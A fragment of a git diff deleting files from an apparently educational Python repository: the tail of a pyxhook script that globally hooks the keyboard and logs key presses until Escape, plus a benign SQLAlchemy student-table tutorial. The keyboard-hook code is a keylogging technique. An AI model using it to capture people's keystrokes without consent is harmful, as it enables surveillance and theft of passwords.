'space': - newline() - - # If the ascii value matches escape, terminate the while loop - if event.Key == 'Escape': - running = False - newline() - -if __name__ == '__main__': - # Create hookmanager - hookman = pyxhook.HookManager() - # Define our callback to fire when a key is pressed down - hookman.KeyDown = key_press_event - # Hook the keyboard - hookman.HookKeyboard() - # Start our listener - hookman.start() - - # Create a loop to keep the application running - running = True - while running: - time.sleep(0.1) - - # Close the listener when we are done - hookman.cancel() diff --git a/Programs/Test/P80_SQLAlchemyTutorial.py b/Programs/Test/P80_SQLAlchemyTutorial.py deleted file mode 100644 index f031635..0000000 --- a/Programs/Test/P80_SQLAlchemyTutorial.py +++ /dev/null @@ -1,61 +0,0 @@ -# Author: OMKAR PATHAK -# This is a simple tutorial on usinng SQLAlchemy as ORM (Object Relational Mapping) - -# Make sure you have installed SQLAlchemy using: pip3 install sqlalchemy - -from sqlalchemy import ( - create_engine, - Column, - Integer, - String -) - -from sqlalchemy.ext.declarative import declarative_base -from sqlalchemy.orm import sessionmaker -import os - - -# create a sqlite db -engine = create_engine('sqlite:///example.db', echo=True) -Base = declarative_base() - - -class Student(Base): - __tablename__ = "student" - - id = Column(Integer, primary_key=True) - username = Column(String) - firstname = Column(String) - lastname = Column(String) - university = Column(String) - - def __init__(self, username, firstname, lastname, university): - self.username = username - self.firstname = firstname - self.lastname = lastname - self.university = university - - -def create_tables(): - # create tables - Base.metadata.create_all(engine) - - -if __name__ == '__main__': - sqlite_file = 'example.db' - file_exists = os.path.isfile(sqlite_file) - if not file_exists: - create_tables() - Session = sessionmaker(bind=engine) - session = Session() - - # Create objects - user = Student('OmkarPathak', 'Omkar', 'Pathak', 'MIT') - session.add(user) - - # commit the record the database - session.commit() - - # Select objects - for student in session.query(Student).order_by(Student.id): - print (student.firstname, student.lastname)